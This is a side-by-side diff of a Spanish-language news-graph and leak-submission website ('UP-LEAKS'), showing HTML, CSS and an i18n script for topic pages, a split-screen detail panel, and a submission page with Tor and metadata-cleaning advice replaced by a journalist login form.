<a href="int-sec.html?subtematica=seguridad_nacional" class="overlay-button" data-i18n="is_4">Seguridad Nacional</a> <a href="int-sec.html?subtematica=seguridad_nacional" class="overlay-button">Seguridad Nacional</a>
<a href="int-sec.html?subtematica=contraterrorismo" class="overlay-button" data-i18n="is_5">Contraterrorismo</a> <a href="int-sec.html?subtematica=contraterrorismo" class="overlay-button">Contraterrorismo</a>
</div> </div>
<div class="button-column"> <div class="button-column">
<a href="climate.html?subtematica=cambio_climatico" class="overlay-button" data-i18n="cl_1">Cambio Climático</a> <a href="climate.html?subtematica=cambio_climatico" class="overlay-button">Cambio Climático</a>
<a href="climate.html?subtematica=desastres_naturales" class="overlay-button" data-i18n="cl_2">Desastres Naturales</a> <a href="climate.html?subtematica=desastres_naturales" class="overlay-button">Desastres Naturales</a>
<a href="climate.html?subtematica=conservacion" class="overlay-button" data-i18n="cl_3">Conservación</a> <a href="climate.html?subtematica=conservacion" class="overlay-button">Conservación</a>
<a href="climate.html?subtematica=energia_renovable" class="overlay-button" data-i18n="cl_4">Energía Renovable</a> <a href="climate.html?subtematica=energia_renovable" class="overlay-button">Energía Renovable</a>
<a href="climate.html?subtematica=contaminacion" class="overlay-button" data-i18n="cl_5">Escasez de agua</a> <a href="climate.html?subtematica=contaminacion" class="overlay-button">Escasez de agua</a>
</div> </div>
<div class="button-column"> <div class="button-column">
<a href="eco-corp.html?subtematica=economia_global" class="overlay-button" data-i18n="ec_1">Economía Global</a> <a href="eco-corp.html?subtematica=economia_global" class="overlay-button">Economía Global</a>
<a href="eco-corp.html?subtematica=corporaciones_multinacionales" class="overlay-button" data-i18n="ec_2">Corporaciones Multinacionales</a> <a href="eco-corp.html?subtematica=corporaciones_multinacionales" class="overlay-button">Corporaciones Multinacionales</a>
<a href="eco-corp.html?subtematica=comercio_internacional" class="overlay-button" data-i18n="ec_3">Comercio Internacional</a> <a href="eco-corp.html?subtematica=comercio_internacional" class="overlay-button">Comercio Internacional</a>
<a href="eco-corp.html?subtematica=organismos_financieros" class="overlay-button" data-i18n="ec_4">Organismos Financieros</a> <a href="eco-corp.html?subtematica=organismos_financieros" class="overlay-button">Organismos Financieros</a>
<a href="eco-corp.html?subtematica=desigualdad_economica" class="overlay-button" data-i18n="ec_5">Desigualdad Económica</a> <a href="eco-corp.html?subtematica=desigualdad_economica" class="overlay-button">Desigualdad Económica</a>
</div> </div>
<div class="button-column"> <div class="button-column">
<a href="popl-up.html?subtematica=sobrepoblacion" class="overlay-button" data-i18n="pu_1">Sobrepoblación</a> <a href="popl-up.html?subtematica=sobrepoblacion" class="overlay-button">Sobrepoblación</a>
<a href="popl-up.html?subtematica=covid" class="overlay-button" data-i18n="pu_2">COVID</a> <a href="popl-up.html?subtematica=covid" class="overlay-button">COVID</a>
<a href="popl-up.html?subtematica=migraciones" class="overlay-button" data-i18n="pu_3">Migraciones</a> <a href="popl-up.html?subtematica=migraciones" class="overlay-button">Migraciones</a>
<a href="popl-up.html?subtematica=urbanizacion" class="overlay-button" data-i18n="pu_4">Urbanización</a> <a href="popl-up.html?subtematica=urbanizacion" class="overlay-button">Urbanización</a>
<a href="popl-up.html?subtematica=distribucion_edad" class="overlay-button" data-i18n="pu_5">Despoblación rural</a> <a href="popl-up.html?subtematica=distribucion_edad" class="overlay-button">Despoblaciòn rural</a>
</div> </div>
</div> </div>
</main> </main>
<button id="sidebarToggle" data-i18n="toggle_sidebar">Mostrar panel</button> <button id="sidebarToggle">Toggle Sidebar</button>
<footer> <footer>
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#" data-i18n="tor_site">Web de Tor</a></p> <p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
</footer> </footer>
<script>
(function () {
var I18N = {
es: {
nav_journalist: 'Periodistas', toggle_sidebar: 'Mostrar panel', tor_site: 'Web de Tor',
gw_1: 'Conflictos Internacionales', gw_2: 'Guerras Civiles', gw_3: 'Terrorismo', gw_4: 'Armas', gw_5: 'Alianzas Militares',
is_1: 'Inteligencia', is_2: 'Ciberseguridad', is_3: 'Espionaje', is_4: 'Seguridad Nacional', is_5: 'Contraterrorismo',
cl_1: 'Cambio Climático', cl_2: 'Desastres Naturales', cl_3: 'Conservación', cl_4: 'Energía Renovable', cl_5: 'Escasez de agua',
ec_1: 'Economía Global', ec_2: 'Corporaciones Multinacionales', ec_3: 'Comercio Internacional', ec_4: 'Organismos Financieros', ec_5: 'Desigualdad Económica',
pu_1: 'Sobrepoblación', pu_2: 'COVID', pu_3: 'Migraciones', pu_4: 'Urbanización', pu_5: 'Despoblación rural'
},
en: {
nav_journalist: 'Journalists', toggle_sidebar: 'Show panel', tor_site: 'Tor site',
gw_1: 'International Conflicts', gw_2: 'Civil Wars', gw_3: 'Terrorism', gw_4: 'Weapons', gw_5: 'Military Alliances',
is_1: 'Intelligence', is_2: 'Cybersecurity', is_3: 'Espionage', is_4: 'National Security', is_5: 'Counterterrorism',
cl_1: 'Climate Change', cl_2: 'Natural Disasters', cl_3: 'Conservation', cl_4: 'Renewable Energy', cl_5: 'Water Scarcity',
ec_1: 'Global Economy', ec_2: 'Multinational Corporations', ec_3: 'International Trade', ec_4: 'Financial Institutions', ec_5: 'Economic Inequality',
pu_1: 'Overpopulation', pu_2: 'COVID', pu_3: 'Migration', pu_4: 'Urbanization', pu_5: 'Rural Depopulation'
}
};
function apply(lang) {
var dict = I18N[lang] || I18N.es;
document.documentElement.lang = lang;
document.querySelectorAll('[data-i18n]').forEach(function (el) {
var k = el.getAttribute('data-i18n');
if (dict[k]) el.textContent = dict[k];
});
document.querySelectorAll('.lang-toggle button').forEach(function (b) {
b.setAttribute('aria-pressed', b.dataset.lang === lang ? 'true' : 'false');
});
try { localStorage.setItem('upl_lang', lang); } catch (e) {}
}
document.querySelectorAll('.lang-toggle button').forEach(function (b) {
b.addEventListener('click', function () { apply(b.dataset.lang); });
});
var saved = 'es';
try { saved = localStorage.getItem('upl_lang') || (navigator.language || 'es').slice(0, 2); } catch (e) {}
apply(I18N[saved] ? saved : 'es');
})();
</script>
</body> </body>
</html> </html>

View file

@ -1,6 +1,10 @@
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face. @font-face {
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en font-family: "Retrolift";
fonts/ y anade aqui la regla con una ruta relativa. */ src: url("fonts/retrolift.woff2") format("woff2"),
url("fonts/retrolift.woff") format("woff");
font-weight: normal;
font-style: normal;
}
* { * {
margin: 0; margin: 0;
@ -166,29 +170,6 @@ nav {
background: #ff6600; background: #ff6600;
} }
#sidebar select {
padding: 10px;
border: 2px solid #39ff14;
background: black;
color: #39ff14;
border-radius: 5px;
box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.2);
transition: box-shadow 0.3s ease;
appearance: none;
cursor: pointer;
font-family: 'Fira Code', monospace;
font-size: 0.85em;
}
#sidebar select:hover { box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.3); }
#sidebar select option { background: #0a0a0a; color: #39ff14; }
#sidebar .sim-val {
font-weight: bold;
color: #fff;
background: rgba(57,255,20,0.15);
border-radius: 3px;
padding: 0 4px;
}
footer { footer {
width: 100%; width: 100%;
background-color: #000000; background-color: #000000;
@ -240,52 +221,57 @@ footer p {
to { opacity: 0; } to { opacity: 0; }
} }
/* ===== Panel de detalle (split-screen) ===== */ /* ===== Añadidos para split-screen ===== */
main.split-screen { display: flex; height: 100vh; } main.split-screen {
#graphPanel { flex: 1; position: relative; min-width: 0; transition: flex 0.3s ease; } display: flex;
height: 100vh;
margin-left: 0; /* El sidebar está fijo encima */
}
#graphPanel {
width: 100%;
transition: width 0.3s ease;
position: relative;
}
#detailPanel { #detailPanel {
width: 0; max-width: 0; overflow: hidden; width: 0;
transition: width 0.3s ease, max-width 0.3s ease; overflow: hidden;
background: #0a0a0a; color: #fff; transition: width 0.3s ease;
position: relative; z-index: 4;
box-shadow: inset 2px 0 10px rgba(0,0,0,0.6);
} }
main.split-screen.show-detail #detailPanel { width: 50%; max-width: 50%; }
#closeDetail { /* Al hacer click en un nodo */
position: absolute; top: 12px; left: 12px; main.split-screen.show-detail #graphPanel {
background: rgba(0,0,0,0.85); border: 1px solid #39ff14; width: 45%;
color: #39ff14; font-size: 1em; font-family: 'Fira Code', monospace;
cursor: pointer; border-radius: 4px; padding: 4px 12px; z-index: 10;
transition: background 0.2s;
} }
#closeDetail:hover { background: rgba(57,255,20,0.15); } main.split-screen.show-detail #detailPanel {
width: 50%;
#detailContent { padding: 1em;
padding: 52px 18px 20px; overflow-y: auto;
height: 100%; box-sizing: border-box;
display: none; flex-direction: column;
} }
main.split-screen.show-detail #detailContent { display: flex; }
.detail-meta { display: flex; justify-content: space-between; font-size: 0.72em; color: #39ff14; opacity: 0.75; margin-bottom: 6px; gap: 8px; } /* Asegurar que el grafo ocupe todo su panel */
.detail-author { font-weight: bold; } #graphPanel #intSecContainer {
.detail-date { text-align: right; white-space: nowrap; } position: absolute;
.detail-title { font-size: 0.92em; color: #39ff14; margin: 0 0 12px; word-break: break-word; line-height: 1.3; } top: 0; left: 0;
width: 100%; height: 100%;
.detail-relations { border-top: 1px solid rgba(57,255,20,0.25); border-bottom: 1px solid rgba(57,255,20,0.25); padding: 8px 0; margin-bottom: 14px; font-size: 0.78em; flex-shrink: 0; } z-index: 2;
.relations-count { color: rgba(57,255,20,0.8); display: block; margin-bottom: 6px; } }
.relations-nav { display: flex; align-items: center; gap: 6px; }
.relations-nav button { background: none; border: 1px solid #39ff14; color: #39ff14; cursor: pointer; padding: 3px 8px; border-radius: 3px; font-family: 'Fira Code', monospace; font-size: 0.85em; white-space: nowrap; transition: background 0.2s; } /* Estilos del panel de detalle */
.relations-nav button:hover:not(:disabled) { background: rgba(57,255,20,0.12); } #detailPanel {
.relations-nav button:disabled { opacity: 0.3; cursor: default; } background: #101020;
#relationLabel { flex: 1; text-align: center; color: rgba(255,255,255,0.55); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-size: 0.85em; } color: #fff;
box-shadow: inset 1px 0 5px rgba(0,0,0,0.5);
.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; } }
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; } #detailPanel h2 {
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; } margin-bottom: .5em;
color: #39ff14;
@media (max-width: 768px) { }
main.split-screen.show-detail #graphPanel { display: none; } #detailPanel p {
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; } line-height: 1.4;
margin-bottom: 1em;
}
#detailPanel .placeholder {
color: rgba(255,255,255,0.3);
font-style: italic;
} }

View file

@ -1,10 +1,9 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="es"> <html lang="en">
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<title>Inteligencia y Seguridad</title> <title>Inteligencia y Seguridad</title>
<link rel="stylesheet" href="int-sec.css"> <link rel="stylesheet" href="int-sec.css">
<link rel="stylesheet" href="sub-nav.css">
<!-- Fuentes de Google Fonts --> <!-- Fuentes de Google Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
@ -12,77 +11,19 @@
<!-- Cargar D3.js --> <!-- Cargar D3.js -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
<script type="importmap"> <!-- Cargar 3d-force-graph (incluye Three.js) -->
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } } <script src="https://unpkg.com/3d-force-graph"></script>
</script>
</head> </head>
<body> <body>
<nav class="top-nav"> <nav>
<div class="section-buttons"> <ul class="nav-links">
<li><a href="int-sec.html" class="int-sec">Inteligencia y Seguridad</a></li>
<div class="section-item"> </ul>
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
</div>
<div class="section-item current">
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC <span class="dropdown-arrow"></span></a>
<div class="section-dropdown">
<a href="#" onclick="setSubtema('inteligencia');return false;">Inteligencia</a>
<a href="#" onclick="setSubtema('ciberseguridad');return false;">Ciberseguridad</a>
<a href="#" onclick="setSubtema('espionaje');return false;">Espionaje</a>
<a href="#" onclick="setSubtema('seguridad nacional');return false;">Seguridad Nacional</a>
<a href="#" onclick="setSubtema('contraterrorismo');return false;">Contraterrorismo</a>
</div>
</div>
<div class="section-item">
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
</div>
<div class="section-item">
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
</div>
<div class="section-item">
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP</a>
</div>
</div>
</nav> </nav>
<script>
function setSubtema(val) {
var sel = document.getElementById('param2');
if (sel) { sel.value = val; }
var form = document.getElementById('paramForm');
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
}
document.addEventListener('DOMContentLoaded', function() {
/* ── Dropdown touch (móvil) ── */
var curr = document.querySelector('.section-item.current');
if (curr) {
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
e.preventDefault();
curr.classList.toggle('open');
});
document.addEventListener('touchend', function(e) {
if (!curr.contains(e.target)) curr.classList.remove('open');
});
}
/* ── Sidebar: botón toggle visible en móvil ── */
var toggle = document.getElementById('sidebarToggle');
var sidebar = document.getElementById('sidebar');
if (toggle && sidebar) {
toggle.style.display = 'block';
toggle.addEventListener('click', function() {
sidebar.classList.toggle('active');
});
}
});
</script>
<main class="split-screen"> <main class="split-screen">
<!-- PANEL IZQUIERDO: el grafo --> <!-- PANEL IZQUIERDO: el grafo -->
<div id="graphPanel" style="position:relative;"> <div id="graphPanel">
<button id="volverGrafoBtn">← Volver al grafo completo</button>
<div id="intSecContainer"></div> <div id="intSecContainer"></div>
<div class="background"> <div class="background">
<img src="/images/flujos.jpg"> <img src="/images/flujos.jpg">
@ -102,23 +43,7 @@
<!-- PANEL DERECHO: detalle de la noticia --> <!-- PANEL DERECHO: detalle de la noticia -->
<div id="detailPanel"> <div id="detailPanel">
<button id="closeDetail">✕ cerrar</button> <p class="placeholder">Haz click en un nodo para ver aquí la noticia completa.</p>
<div id="detailContent">
<div class="detail-meta">
<span class="detail-author"></span>
<span class="detail-date"></span>
</div>
<h2 class="detail-title"></h2>
<div class="detail-relations">
<span class="relations-count"></span>
<div class="relations-nav">
<button id="prevRelation" disabled>&#8592; ant</button>
<span id="relationLabel"></span>
<button id="nextRelation" disabled>sig &#8594;</button>
</div>
</div>
<div class="detail-body"></div>
</div>
</div> </div>
</main> </main>
@ -132,24 +57,16 @@
<input type="date" id="fecha_fin" name="fecha_fin"> <input type="date" id="fecha_fin" name="fecha_fin">
<label for="nodos">Nodos:</label> <label for="nodos">Nodos:</label>
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500"> <input type="number" id="nodos" name="nodos" value="100">
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label> <label for="complejidad">Complejidad:</label>
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8" <input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
oninput="document.getElementById('complejidadVal').textContent = this.value">
<label for="param1">Palabra clave:</label> <label for="param1">Búsqueda por palabra:</label>
<input type="text" id="param1" name="param1" placeholder="ej: CIA, GCHQ..."> <input type="text" id="param1" name="param1">
<label for="param2">Subtematica:</label> <label for="param2">Búsqueda por temática personalizada:</label>
<select id="param2" name="param2"> <input type="text" id="param2" name="param2">
<option value="">— Todas —</option>
<option value="inteligencia">inteligencia</option>
<option value="seguridad nacional">seguridad nacional</option>
<option value="espionaje">espionaje</option>
<option value="ciberseguridad">ciberseguridad</option>
<option value="contraterrorismo">contraterrorismo</option>
</select>
<input type="submit" value="Aplicar"> <input type="submit" value="Aplicar">
</form> </form>
@ -157,8 +74,16 @@
<button id="sidebarToggle">Toggle Sidebar</button> <button id="sidebarToggle">Toggle Sidebar</button>
<footer>
<p>
<a href="#">GitHub</a> |
<a href="#">Telegram</a> |
<a href="#">Email</a> |
<a href="#">Web de Tor</a>
</p>
</footer>
<!-- Incluir tu script al final del body --> <!-- Incluir tu script al final del body -->
<script src="semana-toggle.js"></script> <script src="output_int_sec.js"></script>
<script type="module" src="output_int_sec.js"></script>
</body> </body>
</html> </html>

View file

@ -1,291 +1,66 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="es"> <html lang="en">
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex"> <title>Journalist Login</title>
<meta name="referrer" content="no-referrer"> <link rel="stylesheet" href="journalist.css">
<title>UP-LEAKS · Buzón seguro para fuentes y periodistas</title>
<style>
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-400.woff2') format('woff2'); font-weight: 400; font-display: swap; }
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-500.woff2') format('woff2'); font-weight: 500; font-display: swap; }
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-700.woff2') format('woff2'); font-weight: 700; font-display: swap; }
:root {
--neon: #39ff14; --neon-soft: #7dff5e; --neon-deep: #0e3a08;
--ink: #eafbe6; --muted: #9db89a; --faint: #5d7359;
--red: #ff3b3b; --line: rgba(57,255,20,.24); --line-hard: rgba(57,255,20,.45);
--mono: 'Fira Code', ui-monospace, Menlo, Consolas, monospace;
--glow: 0 0 10px rgba(57,255,20,.55);
}
* { box-sizing: border-box; margin: 0; }
html { scroll-behavior: smooth; }
body {
color: var(--ink); font-family: var(--mono); font-size: 15px; line-height: 1.65;
-webkit-font-smoothing: antialiased;
background:
linear-gradient(180deg, rgba(0,0,0,.90) 0%, rgba(2,10,2,.93) 40%, rgba(0,0,0,.96) 100%),
url('/images/flujos6.jpg') center top / cover fixed no-repeat;
}
a { color: var(--neon); text-decoration: none; }
.wrap { max-width: 900px; margin: 0 auto; padding: 0 22px; }
::selection { background: var(--neon); color: #000; }
/* ---------- buttons (acciones = botones reales) ---------- */
.btn {
display: inline-flex; align-items: center; gap: 9px; font-family: var(--mono); font-weight: 700;
font-size: 13.5px; letter-spacing: .05em; padding: 13px 26px; cursor: pointer;
border: 1.5px solid var(--neon); background: rgba(0,0,0,.35); color: var(--neon);
text-transform: uppercase; transition: background .18s, color .18s, box-shadow .18s, transform .1s;
}
.btn:hover { background: var(--neon); color: #000; box-shadow: 0 0 22px -3px rgba(57,255,20,.75); }
.btn:active { transform: translateY(1px); }
.btn-solid { background: var(--neon); color: #000; border-color: var(--neon); }
.btn-solid:hover { background: var(--neon-soft); border-color: var(--neon-soft); box-shadow: 0 0 26px -2px rgba(57,255,20,.85); }
.btn-ghost { border-color: var(--line-hard); color: var(--ink); background: rgba(0,0,0,.3); }
.btn-ghost:hover { border-color: var(--neon); color: var(--neon); background: rgba(0,0,0,.3); box-shadow: none; }
.btn-lg { font-size: 15px; padding: 16px 34px; }
/* ---------- top nav ---------- */
header.nav {
position: sticky; top: 0; z-index: 30; border-bottom: 1px solid var(--line);
background: rgba(0,0,0,.78); backdrop-filter: blur(10px);
}
.nav .wrap { display: flex; align-items: center; justify-content: space-between; height: 68px; gap: 12px; }
.brand { font-weight: 700; letter-spacing: .2em; font-size: 20px; }
.brand b { color: var(--neon); text-shadow: var(--glow); }
.nav-actions { display: flex; gap: 10px; }
.nav-actions .btn { padding: 9px 16px; font-size: 12px; }
/* ---------- hero ---------- */
.hero { position: relative; overflow: hidden; border-bottom: 1px solid var(--line); }
.hero::before {
content: ""; position: absolute; inset: 0; z-index: 0;
background: linear-gradient(115deg, rgba(0,0,0,.35) 0%, rgba(0,0,0,.72) 55%, rgba(2,12,2,.92) 100%),
url('/images/flujos6.jpg') center / cover no-repeat;
}
.hero::after {
content: ""; position: absolute; inset: 0; z-index: 1; pointer-events: none;
background: radial-gradient(120% 90% at 15% 10%, rgba(57,255,20,.16), transparent 55%);
}
.hero .wrap { position: relative; z-index: 2; padding: 84px 22px 74px; }
.chips { display: flex; flex-wrap: wrap; gap: 8px; margin-bottom: 26px; }
.chip {
font-size: 11px; letter-spacing: .12em; text-transform: uppercase; color: var(--neon);
border: 1px solid var(--line-hard); padding: 5px 12px; background: rgba(0,0,0,.4);
}
.chip::before { content: "● "; }
.hero h1 {
font-size: clamp(32px, 6vw, 58px); line-height: 1.06; font-weight: 700; letter-spacing: -.02em;
max-width: 16ch; text-wrap: balance; text-shadow: 0 2px 30px rgba(0,0,0,.6);
}
.hero h1 em { color: var(--neon); font-style: normal; text-shadow: var(--glow); }
.hero .lead { margin: 22px 0 34px; font-size: 17px; color: var(--ink); max-width: 60ch; opacity: .92; }
.hero .lead b { color: var(--neon); }
.hero .cta { display: flex; gap: 14px; flex-wrap: wrap; }
/* ---------- sections ---------- */
section.block { padding: 60px 0; }
.eyebrow { font-size: 12px; letter-spacing: .2em; text-transform: uppercase; color: var(--neon); margin-bottom: 10px; }
.block h2 { font-size: clamp(22px, 3.4vw, 30px); font-weight: 700; letter-spacing: -.01em; margin-bottom: 8px; text-wrap: balance; }
.block .sub { color: var(--muted); font-size: 15px; max-width: 62ch; }
/* security cards */
.cards { display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px; margin-top: 34px; }
@media (max-width: 720px) { .cards { grid-template-columns: 1fr; } }
.card {
position: relative; border: 1px solid var(--line); background: rgba(4,10,4,.66);
backdrop-filter: blur(6px); padding: 26px 22px; overflow: hidden;
transition: border-color .2s, transform .2s, box-shadow .2s;
}
.card::before {
content: ""; position: absolute; left: 0; top: 0; height: 3px; width: 100%;
background: linear-gradient(90deg, var(--neon), transparent 70%);
}
.card:hover { border-color: var(--line-hard); transform: translateY(-4px); box-shadow: 0 18px 40px -22px rgba(57,255,20,.55); }
.card .num { font-size: 34px; font-weight: 700; color: var(--neon); line-height: 1; text-shadow: var(--glow); }
.card h3 { margin: 14px 0 8px; font-size: 18px; font-weight: 700; }
.card p { color: var(--muted); font-size: 14px; line-height: 1.6; }
.card code { color: var(--neon); background: rgba(0,0,0,.5); border: 1px solid var(--line); padding: 1px 6px; }
/* form */
.form-sec { position: relative; border-top: 1px solid var(--line); border-bottom: 1px solid var(--line); }
.form-sec::before {
content: ""; position: absolute; inset: 0; z-index: 0; opacity: .5;
background: linear-gradient(180deg, rgba(0,0,0,.86), rgba(2,10,2,.92)), url('/images/flujos6.jpg') center / cover fixed;
}
.form-sec .wrap { position: relative; z-index: 1; padding: 62px 22px; }
.panel {
border: 1px solid var(--line-hard); background: rgba(3,8,3,.82); backdrop-filter: blur(10px);
padding: 34px; box-shadow: 0 30px 70px -34px rgba(0,0,0,.9), inset 0 0 60px -40px rgba(57,255,20,.4);
}
.field { margin-bottom: 26px; }
.field:last-of-type { margin-bottom: 0; }
label.lbl { display: block; font-size: 14.5px; font-weight: 700; margin-bottom: 6px; color: var(--ink); }
.num-tag { color: var(--neon); margin-right: 8px; }
.hint { font-size: 13px; color: var(--muted); margin-bottom: 12px; }
select, textarea, input[type="text"] {
width: 100%; background: rgba(0,0,0,.55); border: 1.5px solid var(--line); color: var(--ink);
padding: 14px; font-family: var(--mono); font-size: 15px; transition: border-color .15s, box-shadow .15s;
}
textarea { min-height: 160px; resize: vertical; line-height: 1.6; }
select:focus, textarea:focus, input[type="text"]:focus, input[type="file"]:focus {
outline: none; border-color: var(--neon); box-shadow: 0 0 0 1px var(--neon), 0 0 18px -3px rgba(57,255,20,.6);
}
select {
appearance: none; -webkit-appearance: none; cursor: pointer;
background-image: linear-gradient(45deg, transparent 50%, var(--neon) 50%), linear-gradient(135deg, var(--neon) 50%, transparent 50%);
background-position: calc(100% - 20px) center, calc(100% - 15px) center; background-size: 6px 6px, 6px 6px; background-repeat: no-repeat;
}
/* file input: el botón nativo estilizado como botón real */
input[type="file"] {
width: 100%; background: rgba(0,0,0,.55); border: 1.5px dashed var(--line); color: var(--muted);
padding: 16px; font-family: var(--mono); font-size: 13.5px; cursor: pointer;
}
input[type="file"]::file-selector-button {
font-family: var(--mono); font-weight: 700; font-size: 12.5px; text-transform: uppercase; letter-spacing: .05em;
background: var(--neon); color: #000; border: none; padding: 10px 18px; margin-right: 16px; cursor: pointer;
transition: background .15s, box-shadow .15s;
}
input[type="file"]::file-selector-button:hover { background: var(--neon-soft); box-shadow: 0 0 16px -2px rgba(57,255,20,.7); }
.hp { position: absolute; left: -9999px; width: 1px; height: 1px; overflow: hidden; }
.submit-row { display: flex; align-items: center; gap: 20px; flex-wrap: wrap; margin-top: 30px; padding-top: 24px; border-top: 1px solid var(--line); }
.submit-note { font-size: 12px; color: var(--faint); letter-spacing: .04em; }
.callout {
display: flex; gap: 15px; border: 1px solid var(--line); border-left: 3px solid var(--neon);
background: rgba(4,10,4,.6); backdrop-filter: blur(6px); padding: 22px 24px; font-size: 14px; color: var(--muted); line-height: 1.65;
}
.callout b { color: var(--ink); }
.callout .ic { color: var(--neon); font-size: 20px; }
footer.foot { border-top: 1px solid var(--line); padding: 34px 0 60px; background: rgba(0,0,0,.4); }
footer.foot p { font-size: 12px; color: var(--faint); margin: 5px 0; letter-spacing: .04em; }
footer.foot .q { color: var(--muted); }
@media (prefers-reduced-motion: reduce) { * { transition: none !important; } }
</style>
</head> </head>
<body> <body>
<header class="nav"> <div class="header">
<div class="wrap"> <img class="logo" src="/images/flujos_logo5.png" alt="Flujos Logo">
<span class="brand"><b>UP</b>-LEAKS</span>
<div class="nav-actions">
<a class="btn btn-ghost" href="/">Grafo</a>
<a class="btn btn-ghost" href="/stats.html">Datos</a>
<a class="btn" href="#buzon">Enviar</a>
</div>
</div>
</header>
<section class="hero">
<div class="wrap">
<div class="chips">
<span class="chip">Canal seguro</span>
<span class="chip">Tor recomendado</span>
<span class="chip">Sin registro de IP</span>
</div>
<h1>Filtra lo que el poder quiere <em>en silencio</em></h1>
<p class="lead">UP-LEAKS conecta documentos filtrados con la actualidad para exponer los flujos de poder. Si tienes material de interés público —contratos, cables, correos, bases de datos, testimonios— este es tu canal. <b>No registramos tu IP ni te pedimos identificarte.</b></p>
<div class="cta">
<a class="btn btn-solid btn-lg" href="#buzon">Enviar material →</a>
<a class="btn btn-lg" href="#seguridad">Cómo protegerte</a>
</div>
</div>
</section>
<section class="block" id="seguridad">
<div class="wrap">
<div class="eyebrow">Antes de enviar</div>
<h2>Tres pasos para protegerte</h2>
<p class="sub">Tu seguridad va primero. Dedica un minuto a esto antes de transmitir nada.</p>
<div class="cards">
<div class="card">
<div class="num">01</div>
<h3>Usa Tor</h3>
<p>Entra con el <a href="https://www.torproject.org/es/" rel="noopener noreferrer">Navegador Tor</a> para que tu conexión no quede ligada a ti. Evita hacerlo desde la red de tu trabajo.</p>
</div>
<div class="card">
<div class="num">02</div>
<h3>Limpia los archivos</h3>
<p>Los documentos guardan metadatos (autor, equipo, GPS). Bórralos con <code>mat2</code> antes de subirlos.</p>
</div>
<div class="card">
<div class="num">03</div>
<h3>No des detalles de más</h3>
<p>No incluyas datos que solo tú podrías conocer. Cuanta menos gente tuvo acceso al material, más discreto conviene ser.</p>
</div>
</div>
</div>
</section>
<section class="form-sec" id="buzon">
<div class="wrap">
<div class="eyebrow">Buzón de envío</div>
<h2 style="margin-bottom:8px">Transmite tu material</h2>
<p class="sub" style="margin-bottom:30px">Cifrado en tránsito. Sin cuentas, sin cookies, sin rastro de tu IP.</p>
<form class="panel" method="post" action="/api/submit" enctype="multipart/form-data" autocomplete="off">
<input type="hidden" name="render" value="html">
<div class="field">
<label class="lbl" for="tema"><span class="num-tag">01</span>Temática</label>
<p class="hint">Encamina tu envío al área correcta.</p>
<select id="tema" name="tema">
<option value="guerra global">Guerra global / conflictos</option>
<option value="inteligencia y seguridad">Inteligencia y seguridad</option>
<option value="cambio climático">Cambio climático / medioambiente</option>
<option value="economía y corporaciones">Economía y corporaciones</option>
<option value="demografía y sociedad">Demografía y sociedad</option>
<option value="otros" selected>Otros / no estoy seguro</option>
</select>
</div> </div>
<div class="field"> <div class="canvas-container">
<label class="lbl" for="mensaje"><span class="num-tag">02</span>Descripción del material</label> <img class="image-left" src="/images/journalist_fondo.jpg" alt="Fondo izquierdo">
<p class="hint">¿Qué es, de dónde sale, por qué importa? No hace falta que sea largo.</p> <div class="login-container">
<textarea id="mensaje" name="mensaje" maxlength="20000" placeholder="Cuéntanos qué nos envías y qué crees que revela…"></textarea> <h1>Journalist Login</h1>
</div> <form onsubmit="login(event)">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<div class="field"> <label for="password">Password:</label>
<label class="lbl" for="adjuntos"><span class="num-tag">03</span>Adjuntos <span style="color:var(--faint);font-weight:400">— opcional · hasta 8 archivos · 50 MB c/u</span></label> <input type="password" id="password" name="password" required>
<p class="hint">Documentos, hojas de cálculo, PDF, imágenes o archivos comprimidos.</p>
<input type="file" id="adjuntos" name="adjuntos" multiple>
</div>
<div class="field"> <label for="publicKey">Public Key:</label>
<label class="lbl" for="contacto"><span class="num-tag">04</span>Contacto <span style="color:var(--faint);font-weight:400">— opcional</span></label> <input type="text" id="publicKey" name="publicKey" required>
